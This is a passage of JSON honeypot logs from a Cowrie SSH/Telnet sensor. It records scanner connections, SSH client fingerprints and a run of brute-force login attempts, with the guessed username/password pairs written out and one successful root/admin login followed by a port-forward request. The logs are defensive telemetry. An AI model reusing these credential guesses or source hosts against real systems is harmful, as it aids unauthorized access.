m","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:52:25.401383Z","src_ip":"92.118.39.92","session":"1f60ecfa3206","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"stake","message":"login attempt [ubuntu/stake] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:52:25.749889Z","src_ip":"92.118.39.92","session":"1f60ecfa3206","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:52:26.853082Z","src_ip":"92.118.39.92","session":"1f60ecfa3206","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":42876,"dst_ip":"10.17.0.5","dst_port":22,"session":"34b4284fdf99","protocol":"ssh","message":"New connection: 2.57.122.210:42876 (10.17.0.5:22) [session: 34b4284fdf99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:52:50.217029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:52:50.221457Z","src_ip":"2.57.122.210","session":"34b4284fdf99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:52:50.326641Z","src_ip":"2.57.122.210","session":"34b4284fdf99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:52:50.652837Z","src_ip":"2.57.122.210","session":"34b4284fdf99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:52:51.760244Z","src_ip":"2.57.122.210","session":"34b4284fdf99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":23443,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f29f54d96a4","protocol":"ssh","message":"New connection: 2.57.121.25:23443 (10.17.0.5:22) [session: 7f29f54d96a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:54:17.297951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:54:17.301859Z","src_ip":"2.57.121.25","session":"7f29f54d96a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:54:17.400810Z","src_ip":"2.57.121.25","session":"7f29f54d96a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"rosita","message":"login attempt [user/rosita] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:54:17.873987Z","src_ip":"2.57.121.25","session":"7f29f54d96a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"restless","message":"login attempt [user/restless] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:54:18.975892Z","src_ip":"2.57.121.25","session":"7f29f54d96a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"rerere","message":"login attempt [user/rerere] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:54:20.078011Z","src_ip":"2.57.121.25","session":"7f29f54d96a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"reed","message":"login attempt [user/reed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:54:21.180681Z","src_ip":"2.57.121.25","session":"7f29f54d96a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":43446,"dst_ip":"159.203.135.109","dst_port":22,"session":"75418452f1a2","protocol":"ssh","message":"New connection: 2.57.122.208:43446 (159.203.135.109:22) [session: 75418452f1a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:54:21.914778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:54:21.961112Z","src_ip":"2.57.122.208","session":"75418452f1a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:54:22.028461Z","src_ip":"2.57.122.208","session":"75418452f1a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"redstorm","message":"login attempt [user/redstorm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:54:22.281795Z","src_ip":"2.57.121.25","session":"7f29f54d96a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234qwer","message":"login attempt [ubuntu/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:54:22.441604Z","src_ip":"2.57.122.208","session":"75418452f1a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:54:23.384514Z","src_ip":"2.57.121.25","session":"7f29f54d96a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:54:23.550779Z","src_ip":"2.57.122.208","session":"75418452f1a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":49210,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5ce02b47122","protocol":"ssh","message":"New connection: 92.118.39.92:49210 (10.17.0.5:22) [session: b5ce02b47122]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:54:40.536118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:54:40.540656Z","src_ip":"92.118.39.92","session":"b5ce02b47122","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:54:40.644524Z","src_ip":"92.118.39.92","session":"b5ce02b47122","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"delegate","message":"login attempt [ubuntu/delegate] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:54:40.959243Z","src_ip":"92.118.39.92","session":"b5ce02b47122","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:54:42.065616Z","src_ip":"92.118.39.92","session":"b5ce02b47122","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.66.10","src_port":36154,"dst_ip":"10.17.0.5","dst_port":22,"session":"60f79b916338","protocol":"ssh","message":"New connection: 80.66.66.10:36154 (10.17.0.5:22) [session: 60f79b916338]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:55:00.080079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:55:02.051381Z","src_ip":"80.66.66.10","session":"60f79b916338","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:55:02.056428Z","src_ip":"80.66.66.10","session":"60f79b916338","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":45604,"dst_ip":"10.17.0.5","dst_port":22,"session":"79c797ff220c","protocol":"ssh","message":"New connection: 2.57.122.210:45604 (10.17.0.5:22) [session: 79c797ff220c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:55:07.674076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:55:07.679237Z","src_ip":"2.57.122.210","session":"79c797ff220c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:55:07.794892Z","src_ip":"2.57.122.210","session":"79c797ff220c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:55:08.118961Z","src_ip":"2.57.122.210","session":"79c797ff220c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:55:09.227478Z","src_ip":"2.57.122.210","session":"79c797ff220c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:55:18.123888Z","src_ip":"80.66.66.10","session":"60f79b916338","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"80.66.66.10","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:55:18.858168Z","session":"60f79b916338","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:55:19.832231Z","src_ip":"80.66.66.10","session":"60f79b916338","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"21.9","message":"Connection lost after 21.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:55:21.975647Z","src_ip":"80.66.66.10","session":"60f79b916338","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"153.250.193.202","src_port":60826,"dst_ip":"10.17.0.5","dst_port":23,"session":"f73c66aa8cc3","protocol":"telnet","message":"New connection: 153.250.193.202:60826 (10.17.0.5:23) [session: f73c66aa8cc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:55:29.237870Z"}
{"eventid":"cowrie.session.closed","duration":13.073492527008057,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:55:42.311223Z","src_ip":"153.250.193.202","session":"f73c66aa8cc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":36056,"dst_ip":"159.203.135.109","dst_port":22,"session":"240853691752","protocol":"ssh","message":"New connection: 2.57.122.208:36056 (159.203.135.109:22) [session: 240853691752]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:56:35.014234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:56:35.113834Z","src_ip":"2.57.122.208","session":"240853691752","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:56:35.212200Z","src_ip":"2.57.122.208","session":"240853691752","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4$RFV","message":"login attempt [ubuntu/4$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:56:35.795487Z","src_ip":"2.57.122.208","session":"240853691752","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:56:36.951446Z","src_ip":"2.57.122.208","session":"240853691752","protocol":"ssh"}
